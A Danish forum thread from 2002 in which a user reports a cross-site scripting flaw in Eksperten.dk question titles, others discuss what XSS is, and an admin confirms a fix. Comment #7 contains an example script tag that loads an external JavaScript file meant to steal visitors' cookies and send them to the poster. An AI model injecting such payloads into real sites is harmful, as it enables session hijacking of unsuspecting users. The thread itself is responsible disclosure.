Avatar billede jumper Nybegynder
07. februar 2002 - 09:52 Der er 12 kommentarer og
1 løsning

CrossSiteScripting på Eksperten.

I får ikke HTMLEncodet brugernes input tilstrækkeligt, det bliver ihvertfald gentaget (mere eller mindre) råt i <TITLE> og man kan derfor inkludere HTML på siden.

Eksempel:
http://www.eksperten.dk/spm/169331

Hvad er CrossSiteScripting:
http://www.cert.org/advisories/CA-2000-02.html

/Thor
Avatar billede webmasterdk Praktikant
07. februar 2002 - 10:43 #1
det er da som det skal være, spm's titel bliver vidst på samme måde i både windowtitle og overskrift på E...
Avatar billede jette1 Nybegynder
07. februar 2002 - 11:56 #2
Der er i hvert fald problemer med HTML, for man kan ikke angive HTML i sp. titel uden der går kage idet.

Jeg har gjort opmærksom på problemet i "Om Eksp.", men har ikke fået respons fra nogen der kunne afhjælpe problemet. Derfor har jeg et sp. som jeg ikke kan lukke:

http://www.eksperten.dk/spm/158099
Avatar billede webmasterdk Praktikant
07. februar 2002 - 12:44 #3
nå på den måde, det må du sq undskylde, jeg havde msiforstået dit indlæg! :)
Avatar billede jette1 Nybegynder
07. februar 2002 - 13:06 #4
Det er bare i orden :-)
Avatar billede jumper Nybegynder
07. februar 2002 - 13:15 #5
jette1> Det er akkurat det samme problem du har oplevet ;o)

/Thor
Avatar billede jette1 Nybegynder
07. februar 2002 - 13:17 #6
Til Thor

De skriver bl.a. på den side du henviser til:

"Because one source is injecting code into pages sent by another source, this vulnerability has also been described as "cross-site" scripting."

Et eksempel:
Lad os sige at man her på eksperten, ikke havde taget højde for at man kan indsætte f.eks. javascript når man opretter et spørgsmål.
En ondsindet bruger indsætter et skadeligt script i et spørgsmål. Dette script bliver nu afviklet i browseren hos alle de brugere der kigger på spørgsmålet.

Man kan altså på den måde få sit script afviklet hos andre, via et website. Og det er det man kalder cross site scripting... sådan som jeg opfatter det i hvert fald :-)
Avatar billede jumper Nybegynder
07. februar 2002 - 13:20 #7
jette1> Det har du ganske ret i :)

I Eksperten.dk's tilfælde kunne jeg f.eks. oprette et spørgsmål der hed

<script src="http://jscript.dk/fnis.js"></script>

Når brugeren så spørgsmålet ville det ovenstående være en del af HTML koden og dermed blive afviklet. "fnis.js" kunne så f.eks stjæle din cookie og sende den til mig, hvorefter jeg kunne logge ind i dit navn.

/Thor
Avatar billede jette1 Nybegynder
07. februar 2002 - 13:21 #8
Thor -> Ja, det er samme problem jeg har omtalt, men jeg tror du blev misforstået her fordi du skrev <TITLE> ... set det er jo straks noget helt andet :-)
Avatar billede jette1 Nybegynder
07. februar 2002 - 13:27 #9
Thor -> Jeg kan kun en lille smule javascript ... Kan man virkelig kopiere filer vha. javascript fra folks pc'er? Skræmmende tanke!
Avatar billede jumper Nybegynder
07. februar 2002 - 13:28 #10
Nej, man kan ikke kopiere filer men det Javascript (fnis.js) som jeg ville kunne inkludere i HTML koden ville jo kunne aflæse din cookie ;)

/Thor
Avatar billede admin Novice
07. februar 2002 - 13:47 #11
det er rettet. tak :)
Avatar billede jette1 Nybegynder
07. februar 2002 - 13:48 #12
Nåh, ja -- browseren sender jo indholdet at cookien til sitet... nu er jeg med :-))
Avatar billede jumper Nybegynder
08. februar 2002 - 12:09 #13
Whee, det er den jo også :)

/Thor
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Alle kurser indenfor Microsoft 365 – både til begyndere og øvede.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester